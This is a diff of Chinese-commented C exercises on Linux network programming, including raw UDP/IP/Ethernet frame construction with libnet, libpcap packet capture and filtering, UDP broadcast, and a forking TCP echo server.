||||||
|
inet_addr("10.12.156.178"), // 目的IP地址,网络序
|
||||||
|
NULL, // 负载数据,这里不需要
|
||||||
|
0, // 负载数据长度
|
||||||
|
net, // libnet句柄
|
||||||
|
0 // 协议标记,0表示构造新的报文, >0表示在已有报文基础上追加
|
||||||
|
); // 构造IP数据包,返回值是新生成的协议块标记
|
||||||
|
if (ip_tag != -1)
|
||||||
|
{
|
||||||
|
printf("ip tag: %d\n", ip_tag);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2.3 构建以太网数据包
|
||||||
|
char sender_mac[128] = "4c:e1:73:47:16:3a"; // 发送者原始 MAC
|
||||||
|
char recv_mac[128] = "00:d8:61:03:45:65"; // 接收者原始 MAC
|
||||||
|
unsigned char dst_mac[8] = {}; // 目的 MAC
|
||||||
|
unsigned char src_mac[8] = {}; // 发送者 MAC
|
||||||
|
sscanf(sender_mac, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &src_mac[0], &src_mac[1], &src_mac[2], &src_mac[3], &src_mac[4], &src_mac[5]);
|
||||||
|
sscanf(recv_mac, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", &dst_mac[0], &dst_mac[1], &dst_mac[2], &dst_mac[3], &dst_mac[4], &dst_mac[5]);
|
||||||
|
printf("src_mac: %s dst_mac: %s\n", src_mac, dst_mac);
|
||||||
|
libnet_ptag_t eth_tag = libnet_build_ethernet(
|
||||||
|
dst_mac, // 目的MAC地址
|
||||||
|
src_mac, // 源MAC地址
|
||||||
|
0x0800, // 上层协议类型,0x0800表示IP
|
||||||
|
NULL, // 负载数据,这里不需要
|
||||||
|
0, // 负载数据长度
|
||||||
|
net, // libnet句柄
|
||||||
|
0 // 协议标记,0表示构造新的报文, >0表示在已有报文基础上追加
|
||||||
|
);
|
||||||
|
if (eth_tag != -1)
|
||||||
|
{
|
||||||
|
printf("eth tag: %d\n", eth_tag);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. 发送数据
|
||||||
|
int send_len = libnet_write(net);
|
||||||
|
if (send_len == -1)
|
||||||
|
{
|
||||||
|
printf("libnet_write error: %s\n", libnet_geterror(net));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("libnet_write success, send bytes: %d\n", send_len);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 释放资源
|
||||||
|
libnet_destroy(net);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,99 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <libnet.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
if (argc < 2)
|
||||||
|
{
|
||||||
|
printf("usage: %s <device>\n", argv[0]);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. 初始化libnet
|
||||||
|
char err_buf[LIBNET_ERRBUF_SIZE] = "";
|
||||||
|
libnet_t *net = libnet_init(LIBNET_RAW4, argv[1], err_buf);
|
||||||
|
if (net == NULL)
|
||||||
|
{
|
||||||
|
printf("libnet_init error: %s\n", err_buf);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
printf("libnet_init success\n");
|
||||||
|
|
||||||
|
// 2. 构建数据
|
||||||
|
// 2.1 UDP
|
||||||
|
u_char data_buf[64] = "";
|
||||||
|
fgets(data_buf, sizeof(data_buf), stdin);
|
||||||
|
data_buf[strlen(data_buf) - 1] = '\0';
|
||||||
|
int data_len = strlen(data_buf) + strlen(data_buf) % 2; // UDP数据包长度必须为偶数
|
||||||
|
|
||||||
|
// 2.1.2 构建UDP数据包
|
||||||
|
libnet_ptag_t udp_tag = 0;
|
||||||
|
udp_tag = libnet_build_udp(
|
||||||
|
8001, // 源端口
|
||||||
|
8000, // 目的端口
|
||||||
|
8 + data_len, // UDP数据包长度
|
||||||
|
0, // 校验和,0为自动计算
|
||||||
|
data_buf, // 数据
|
||||||
|
data_len, // 数据长度
|
||||||
|
net, // libnet句柄
|
||||||
|
0 // 0 表示构造新的报文,>0表示在已有报文基础上追加
|
||||||
|
);
|
||||||
|
if (udp_tag != -1)
|
||||||
|
{
|
||||||
|
printf("udp tag: %d\n", udp_tag);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2.2 ip 报
|
||||||
|
libnet_ptag_t ip_tag = libnet_build_ipv4(
|
||||||
|
20 + 8 + data_len, // IP数据包总长度
|
||||||
|
0, // tos
|
||||||
|
0, // id, 0表示自动计算
|
||||||
|
0, // 标志位
|
||||||
|
32, // TTL
|
||||||
|
17, // 上层协议号,17表示UDP
|
||||||
|
0, // 校验和,0表示自动计算
|
||||||
|
inet_addr("10.12.156.232"), // 源IP地址,网络序
|
||||||
|
inet_addr("10.12.156.178"), // 目的IP地址,网络序
|
||||||
|
NULL, // 负载数据,这里不需要
|
||||||
|
0, // 负载数据长度
|
||||||
|
net, // libnet句柄
|
||||||
|
0 // 协议标记,0表示构造新的报文, >0表示在已有报文基础上追加
|
||||||
|
); // 构造IP数据包,返回值是新生成的协议块标记
|
||||||
|
if (ip_tag != -1)
|
||||||
|
{
|
||||||
|
printf("ip tag: %d\n", ip_tag);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2.3 构建以太网数据包
|
||||||
|
u_char dst_mac[6] = {0x00, 0xd8, 0x61, 0x03, 0x45, 0x65}; // 目的MAC地址
|
||||||
|
u_char src_mac[6] = {0x00, 0x0c, 0x29, 0x4e, 0x4a, 0x4c}; // 源MAC地址
|
||||||
|
libnet_ptag_t eth_tag = libnet_build_ethernet(
|
||||||
|
dst_mac, // 目的MAC地址
|
||||||
|
src_mac, // 源MAC地址
|
||||||
|
0x0800, // 上层协议类型,0x0800表示IP
|
||||||
|
NULL, // 负载数据,这里不需要
|
||||||
|
0, // 负载数据长度
|
||||||
|
net, // libnet句柄
|
||||||
|
0 // 协议标记,0表示构造新的报文, >0表示在已有报文基础上追加
|
||||||
|
);
|
||||||
|
if (eth_tag != -1)
|
||||||
|
{
|
||||||
|
printf("eth tag: %d\n", eth_tag);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. 发送数据
|
||||||
|
int send_len = libnet_write(net);
|
||||||
|
if (send_len == -1)
|
||||||
|
{
|
||||||
|
printf("libnet_write error: %s\n", libnet_geterror(net));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("libnet_write success, send bytes: %d\n", send_len);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 释放资源
|
||||||
|
libnet_destroy(net);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
// libpcap 开发
|
||||||
|
/*
|
||||||
|
libpcap是一个用于捕获网络数据包的库,它提供了一组函数和工具,用于在计算机网络上进行数据包捕获、过滤和分析。
|
||||||
|
在使用libpcap时,你需要在编译和链接你的程序时指定-lpcap选项,以告诉编译器和链接器使用libpcap库。这个选项通常用于Unix-like系统的编译环境,例如在使用GCC编译器时。
|
||||||
|
*/
|
||||||
|
#include <pcap.h> // libpcap头文件
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h> // 网络地址转换函数,如inet_ntoa()->将网络地址转换成“.”点隔的字符串格式
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
// 1. 获取可用的网络设备名称
|
||||||
|
char err_buf[PCAP_ERRBUF_SIZE]; // 错误信息缓冲区
|
||||||
|
char *dev = pcap_lookupdev(err_buf); // 获取网络设备名称: err_buf用于存储错误信息
|
||||||
|
// char *dev = pcap_lookupdev(NULL); // NULL表示获取默认网络设备
|
||||||
|
if (dev != NULL)
|
||||||
|
{
|
||||||
|
printf("网络设备名称: %s\n", dev);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("获取网络设备名称失败: %s\n", err_buf);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 获取网卡的网络号和子网掩码
|
||||||
|
bpf_u_int32 netip;
|
||||||
|
bpf_u_int32 netmask;
|
||||||
|
if ((pcap_lookupnet(dev, &netip, &netmask, NULL)) == 0)
|
||||||
|
{
|
||||||
|
unsigned char ip[16] = "";
|
||||||
|
unsigned char mask[16] = "";
|
||||||
|
|
||||||
|
inet_ntop(AF_INET, &netip, ip, 16); // inet_ntop()将网络地址转换成“.”点隔的字符串格式
|
||||||
|
inet_ntop(AF_INET, &netmask, mask, 16);
|
||||||
|
|
||||||
|
printf("网卡网络号: %s 子网掩码: %s\n", ip, mask);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,83 @@
|
|||||||
|
// pcap_next 接收下一条数据
|
||||||
|
#include <pcap.h> // libpcap头文件
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <netinet/ether.h>
|
||||||
|
#include <netinet/ip.h>
|
||||||
|
#include <arpa/inet.h> // 网络地址转换函数,如inet_ntoa()->将网络地址转换成“.”点隔的字符串格式
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
// 1. 获取可用的网络设备名称
|
||||||
|
char *dev = pcap_lookupdev(NULL); // NULL表示获取默认网络设备
|
||||||
|
if (dev != NULL)
|
||||||
|
{
|
||||||
|
printf("网络设备名称: %s\n", dev);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 打开网络设备, 开始捕获数据
|
||||||
|
char err_buf[PCAP_ERRBUF_SIZE] = "";
|
||||||
|
pcap_t *cap = pcap_open_live(dev, 128, 0, 0, err_buf);
|
||||||
|
if (cap == NULL)
|
||||||
|
{
|
||||||
|
printf("open pcap fail: %s\n", err_buf);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. 开始捕获数据
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
struct pcap_pkthdr cap_hdr;
|
||||||
|
bzero(&cap_hdr, sizeof(cap_hdr));
|
||||||
|
const u_char *data = pcap_next(cap, &cap_hdr);
|
||||||
|
if (cap_hdr.len > 0)
|
||||||
|
{
|
||||||
|
printf("数据包长度: %d, 实际长度: %d\n", cap_hdr.caplen, cap_hdr.len);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 分析 mac 报文的数据
|
||||||
|
struct ether_header *mac_hdr = (struct ether_header *)data;
|
||||||
|
unsigned char src_mac[18] = "";
|
||||||
|
unsigned char dst_mac[18] = "";
|
||||||
|
|
||||||
|
sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||||
|
mac_hdr->ether_dhost[0],
|
||||||
|
mac_hdr->ether_dhost[1],
|
||||||
|
mac_hdr->ether_dhost[2],
|
||||||
|
mac_hdr->ether_dhost[3],
|
||||||
|
mac_hdr->ether_dhost[4],
|
||||||
|
mac_hdr->ether_dhost[5]);
|
||||||
|
|
||||||
|
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||||
|
mac_hdr->ether_shost[0],
|
||||||
|
mac_hdr->ether_shost[1],
|
||||||
|
mac_hdr->ether_dhost[2],
|
||||||
|
mac_hdr->ether_shost[3],
|
||||||
|
mac_hdr->ether_shost[4],
|
||||||
|
mac_hdr->ether_shost[5]);
|
||||||
|
|
||||||
|
unsigned short mac_type = ntohs(mac_hdr->ether_type);
|
||||||
|
|
||||||
|
printf("type(%#x) src mac: %s, dst mac: %s\n", mac_type, src_mac, dst_mac);
|
||||||
|
if (mac_type == 0x0800)
|
||||||
|
{
|
||||||
|
// 分析 ip 报文的数据
|
||||||
|
struct iphdr *ip_hdr = (struct iphdr *)(data + sizeof(struct ether_header));
|
||||||
|
u_char src_ip[INET_ADDRSTRLEN] = "";
|
||||||
|
u_char dst_ip[INET_ADDRSTRLEN] = "";
|
||||||
|
inet_ntop(AF_INET, &ip_hdr->saddr, src_ip, INET_ADDRSTRLEN);
|
||||||
|
inet_ntop(AF_INET, &ip_hdr->daddr, dst_ip, INET_ADDRSTRLEN);
|
||||||
|
|
||||||
|
printf("ip type(%d) %s->%s\n", ip_hdr->protocol, src_ip, dst_ip);
|
||||||
|
}
|
||||||
|
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 关闭网卡设备
|
||||||
|
pcap_close(cap);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
// pcap_loop 循环接收数据
|
||||||
|
#include <pcap.h> // libpcap头文件
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <netinet/ether.h>
|
||||||
|
#include <netinet/ip.h>
|
||||||
|
#include <arpa/inet.h> // 网络地址转换函数,如inet_ntoa()->将网络地址转换成“.”点隔的字符串格式
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
void recv_data_handler(u_char *user_arg, const struct pcap_pkthdr *caphdr, const u_char *data);
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
// 1. 获取可用的网络设备名称
|
||||||
|
char *dev = pcap_lookupdev(NULL); // NULL表示获取默认网络设备
|
||||||
|
if (dev != NULL)
|
||||||
|
{
|
||||||
|
printf("网络设备名称: %s\n", dev);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 打开网络设备, 开始捕获数据
|
||||||
|
char err_buf[PCAP_ERRBUF_SIZE] = "";
|
||||||
|
pcap_t *cap = pcap_open_live(dev, 128, 0, 0, err_buf);
|
||||||
|
if (cap == NULL)
|
||||||
|
{
|
||||||
|
printf("open pcap fail: %s\n", err_buf);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 循环捕获数据
|
||||||
|
pcap_loop(cap, -1, recv_data_handler, NULL);
|
||||||
|
|
||||||
|
// 关闭网卡设备
|
||||||
|
pcap_close(cap);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void recv_data_handler(u_char *user_arg, const struct pcap_pkthdr *cap_hdr, const u_char *data)
|
||||||
|
{
|
||||||
|
if (cap_hdr->caplen > 0)
|
||||||
|
{
|
||||||
|
printf("数据包长度: %d, 实际长度: %d\n", cap_hdr->caplen, cap_hdr->len);
|
||||||
|
}
|
||||||
|
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
// pcap_loop 循环接收数据
|
||||||
|
#include <pcap.h> // libpcap头文件
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <netinet/ether.h>
|
||||||
|
#include <netinet/ip.h>
|
||||||
|
#include <arpa/inet.h> // 网络地址转换函数,如inet_ntoa()->将网络地址转换成“.”点隔的字符串格式
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
void recv_data_handler(u_char *user_arg, const struct pcap_pkthdr *caphdr, const u_char *data);
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
// 1. 获取可用的网络设备名称
|
||||||
|
char *dev = pcap_lookupdev(NULL); // NULL表示获取默认网络设备
|
||||||
|
if (dev != NULL)
|
||||||
|
{
|
||||||
|
printf("网络设备名称: %s\n", dev);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 打开网络设备, 开始捕获数据
|
||||||
|
char err_buf[PCAP_ERRBUF_SIZE] = "";
|
||||||
|
pcap_t *cap = pcap_open_live(dev, 128, 0, 0, err_buf);
|
||||||
|
if (cap == NULL)
|
||||||
|
{
|
||||||
|
printf("open pcap fail: %s\n", err_buf);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 编译过滤规则, 成功则设置过滤规则
|
||||||
|
char filter[] = "udp dst port 8001";
|
||||||
|
struct bpf_program program; // 过滤器程序结构体,采用bpf(伯克利包过滤器)
|
||||||
|
if (pcap_compile(cap, &program, filter, 0, 0xffffff00) == 0)
|
||||||
|
{
|
||||||
|
pcap_setfilter(cap, &program);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 循环捕获数据
|
||||||
|
pcap_loop(cap, -1, recv_data_handler, NULL);
|
||||||
|
|
||||||
|
// 关闭网卡设备
|
||||||
|
pcap_close(cap);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void recv_data_handler(u_char *user_arg, const struct pcap_pkthdr *cap_hdr, const u_char *data)
|
||||||
|
{
|
||||||
|
if (cap_hdr->caplen > 0)
|
||||||
|
{
|
||||||
|
printf("数据包长度: %d, 实际长度: %d\n", cap_hdr->caplen, cap_hdr->len);
|
||||||
|
}
|
||||||
|
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,62 @@
|
|||||||
|
// 利用 setsocketopt() 使用嵌套字支持广播,并编写两个程序,其中一个发送广播数据,另一个接收广播数据
|
||||||
|
// 客户端
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
int sockfd = socket(AF_INET, SOCK_DGRAM, 0); // 创建UDP套接字
|
||||||
|
if (sockfd < 0)
|
||||||
|
{
|
||||||
|
perror("socket error");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_in broadcast_addr, recv_addr; // 广播地址信息结构体对象, 接收广播消息的地址信息结构体对象
|
||||||
|
memset(&recv_addr, 0, sizeof(recv_addr)); // 初始化接收广播消息的地址信息结构体对象
|
||||||
|
recv_addr.sin_family = AF_INET; // 设置地址族
|
||||||
|
recv_addr.sin_port = htons(8000); // 设置端口号
|
||||||
|
recv_addr.sin_addr.s_addr = INADDR_ANY; // 设置接收任意地址
|
||||||
|
|
||||||
|
// 绑定套接字
|
||||||
|
int is_bind = bind(sockfd, (struct sockaddr *)&recv_addr, sizeof(recv_addr)); // 绑定套接字
|
||||||
|
if (is_bind < 0)
|
||||||
|
{
|
||||||
|
perror("bind error");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置套接字选项,启用地址重用,允许接收广播消息
|
||||||
|
int reuse_flag = 1;
|
||||||
|
// 说明:SOL_SOCKET表示当前套接字,SO_REUSEADDR表示启用地址重用,&reuse_flag表示设置选项的值,sizeof(flag)表示选项值的大小
|
||||||
|
int ret = setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &reuse_flag, sizeof(reuse_flag));
|
||||||
|
if (ret < 0)
|
||||||
|
{
|
||||||
|
perror("setsockopt error");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 接收广播消息
|
||||||
|
char recv_buf[1024]; // 接收缓冲区
|
||||||
|
|
||||||
|
// 参数说明: sockfd表示套接字描述符,recv_buf表示接收缓冲区,sizeof(recv_buf)表示接收缓冲区大小,0表示阻塞接收,NULL表示不关注对端地址信息,0表示不关注对端地址信息长度
|
||||||
|
ssize_t recv_len = recvfrom(sockfd, recv_buf, sizeof(recv_buf), 0, NULL, 0);
|
||||||
|
if (recv_len < 0)
|
||||||
|
{
|
||||||
|
perror("recvfrom error");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("接收到广播消息: %s\n", recv_buf);
|
||||||
|
|
||||||
|
// 关闭套接字
|
||||||
|
close(sockfd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,50 @@
|
|||||||
|
// 利用 setsocketopt() 使用嵌套字支持广播,并编写两个程序,其中一个发送广播数据,另一个接收广播数据
|
||||||
|
// 服务端
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
int sockfd = socket(AF_INET, SOCK_DGRAM, 0); // 创建UDP套接字
|
||||||
|
if (sockfd < 0)
|
||||||
|
{
|
||||||
|
perror("socket error");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
char broadcast_msg[] = "this is a udp broadcast message"; // 广播消息
|
||||||
|
|
||||||
|
// 构造广播地址信息结构体对象
|
||||||
|
struct sockaddr_in broadcast_addr; // 广播地址信息结构体对象
|
||||||
|
memset(&broadcast_addr, 0, sizeof(broadcast_addr)); // 初始化广播地址信息结构体对象
|
||||||
|
broadcast_addr.sin_family = AF_INET; // 设置地址族
|
||||||
|
broadcast_addr.sin_port = htons(8000); // 设置端口号
|
||||||
|
broadcast_addr.sin_addr.s_addr = inet_addr("255.255.255.255"); // 设置广播地址
|
||||||
|
|
||||||
|
// 设置套接字选项,允许发送广播消息
|
||||||
|
int broadcast_enable_flag = 1;
|
||||||
|
// 说明:SOL_SOCKET表示当前套接字,SO_BROADCAST表示允许发送广播消息,&broadcast_enable_flag表示设置选项的值,sizeof(flag)表示选项值的大小
|
||||||
|
int ret = setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &broadcast_enable_flag, sizeof(broadcast_enable_flag));
|
||||||
|
|
||||||
|
// 发送广播消息
|
||||||
|
ssize_t send_len = sendto(sockfd, broadcast_msg, strlen(broadcast_msg), 0, (struct sockaddr *)&broadcast_addr, sizeof(broadcast_addr));
|
||||||
|
if (send_len < 0)
|
||||||
|
{
|
||||||
|
perror("sendto error");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("广播消息发送成功 (%s)\n", broadcast_msg);
|
||||||
|
|
||||||
|
// 关闭套接字
|
||||||
|
close(sockfd);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,89 @@
|
|||||||
|
// 写一个 TCP 并发的服务器,实现 echo 功能
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <ctype.h>
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (sockfd < 0)
|
||||||
|
{
|
||||||
|
perror("socket");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_in server_addr;
|
||||||
|
memset(&server_addr, 0, sizeof(server_addr));
|
||||||
|
server_addr.sin_family = AF_INET; // ipv4
|
||||||
|
server_addr.sin_port = htons(8000); // port
|
||||||
|
server_addr.sin_addr.s_addr = htonl(INADDR_ANY); // 服务端的ip地址 : 默认接收任意ip地址的连接
|
||||||
|
|
||||||
|
if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) != 0)
|
||||||
|
{
|
||||||
|
perror("bind");
|
||||||
|
close(sockfd); // 关闭 socket 套接字描述符
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
listen(sockfd, 5); // 创建队列长度为5的监听队列
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
struct sockaddr_in client_addr; // 客户端地址信息
|
||||||
|
memset(&client_addr, 0, sizeof(client_addr));
|
||||||
|
socklen_t client_addr_len = sizeof(client_addr); // 地址信息长度
|
||||||
|
|
||||||
|
int client_fd = accept(sockfd, (struct sockaddr *)&client_addr, &client_addr_len); // 从监听队列中取出一个连接
|
||||||
|
if (client_fd < 0)
|
||||||
|
{
|
||||||
|
perror("accept");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
char client_ip[INET_ADDRSTRLEN] = ""; // 用于保存客户端的ip地址
|
||||||
|
inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, sizeof(client_ip)); // 将网络字节序的ip地址转换为点分十进制的ip地址
|
||||||
|
printf("客户端 %s 连接成功\n", client_ip);
|
||||||
|
|
||||||
|
pid_t pid = fork(); // 创建子进程
|
||||||
|
if (pid == 0)
|
||||||
|
{
|
||||||
|
close(sockfd); // 关闭子进程中的监听套接字描述符
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
char buf[128] = "";
|
||||||
|
ssize_t recv_len = recv(client_fd, buf, sizeof(buf), 0); // 接收客户端发送的数据
|
||||||
|
if (recv_len > 0)
|
||||||
|
{
|
||||||
|
char send_buf[1024] = "";
|
||||||
|
sprintf(send_buf, "收到 %s 发送的数据: %s", client_ip, buf);
|
||||||
|
|
||||||
|
send(client_fd, send_buf, strlen(send_buf), 0); // 发送数据给客户端
|
||||||
|
|
||||||
|
if (strncmp(buf, "exit", 4) == 0)
|
||||||
|
{
|
||||||
|
printf("客户端 %s 断开连接\n", client_ip);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
close(client_fd); // 关闭客户端连接套接字描述符
|
||||||
|
printf("客户端 %s 断开连接\n", client_ip);
|
||||||
|
exit(0); // 子进程退出
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
close(sockfd); // 关闭监听套接字描述符
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,132 @@
|
|||||||
|
/*
|
||||||
|
* 写一个网络数据分析器
|
||||||
|
* 要求:
|
||||||
|
* 1、对 arp/ip/tcp/udp 数据进行区分。
|
||||||
|
* 2、把数据包中的源信息,目的信息等重要的信息打印出来。
|
||||||
|
*/
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <pcap/pcap.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <string.h> // memset
|
||||||
|
#include <net/ethernet.h> // ether_header
|
||||||
|
#include <netinet/ip.h> // ip
|
||||||
|
#include <netinet/if_ether.h> // ether_arp
|
||||||
|
#include <unistd.h> // sleep
|
||||||
|
|
||||||
|
int main(int argc, char const *argv[])
|
||||||
|
{
|
||||||
|
char errbuf[PCAP_ERRBUF_SIZE]; // 用于存储错误信息的缓冲区
|
||||||
|
char *dev = pcap_lookupdev(errbuf); // 获取网络接口
|
||||||
|
if (dev == NULL) // 获取网络接口失败
|
||||||
|
{
|
||||||
|
printf("pcap_lookupdev error: %s\n", errbuf);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
printf("网络接口: %s\n", dev);
|
||||||
|
|
||||||
|
// 获取网卡的网络号,掩码地址
|
||||||
|
bpf_u_int32 netip, netmask;
|
||||||
|
if (pcap_lookupnet(dev, &netip, &netmask, NULL) == 0)
|
||||||
|
{
|
||||||
|
unsigned char ip[INET_ADDRSTRLEN] = "";
|
||||||
|
unsigned char mask[INET_ADDRSTRLEN] = "";
|
||||||
|
|
||||||
|
inet_ntop(AF_INET, &netip, ip, INET_ADDRSTRLEN);
|
||||||
|
inet_ntop(AF_INET, &netmask, mask, INET_ADDRSTRLEN);
|
||||||
|
printf("网络地址: %s 掩码地址: %s\n", ip, mask);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 打开网络设备,开始捕获数据
|
||||||
|
pcap_t *pcap_handle = pcap_open_live(dev, BUFSIZ, 1, 0, errbuf);
|
||||||
|
if (pcap_handle == NULL)
|
||||||
|
{
|
||||||
|
printf("pcap_open_live error: %s\n", errbuf);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
struct pcap_pkthdr pcap_hdr; // 数据包头
|
||||||
|
memset(&pcap_hdr, 0, sizeof(pcap_hdr)); // 清空结构体
|
||||||
|
const u_char *packet = pcap_next(pcap_handle, &pcap_hdr); // 获取数据包
|
||||||
|
if (packet == NULL)
|
||||||
|
{
|
||||||
|
printf("pcap_next error\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 分析 ethernet 报文类型
|
||||||
|
// 如果是 arp 报文,则打印 arp 报文信息
|
||||||
|
// 如果是 ip 报文,则打印 ip 报文信息
|
||||||
|
struct ether_header *eth_hdr = (struct ether_header *)packet;
|
||||||
|
// 拆分源 mac 地址和目的 mac 地址
|
||||||
|
unsigned char src_mac_x[ETHER_ADDR_LEN] = ""; // 源 mac 地址
|
||||||
|
unsigned char dst_mac_x[ETHER_ADDR_LEN] = ""; // 目的 mac 地址
|
||||||
|
memcpy(src_mac_x, eth_hdr->ether_shost, ETHER_ADDR_LEN); // 拷贝源 mac 地址
|
||||||
|
memcpy(dst_mac_x, eth_hdr->ether_dhost, ETHER_ADDR_LEN); // 拷贝目的 mac 地址
|
||||||
|
|
||||||
|
char src_mac[18] = ""; // 存储 MAC 地址的字符串
|
||||||
|
char dst_mac[18] = ""; // 存储 MAC 地址的字符串
|
||||||
|
|
||||||
|
// 将 MAC 地址转换成字符串
|
||||||
|
sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x",
|
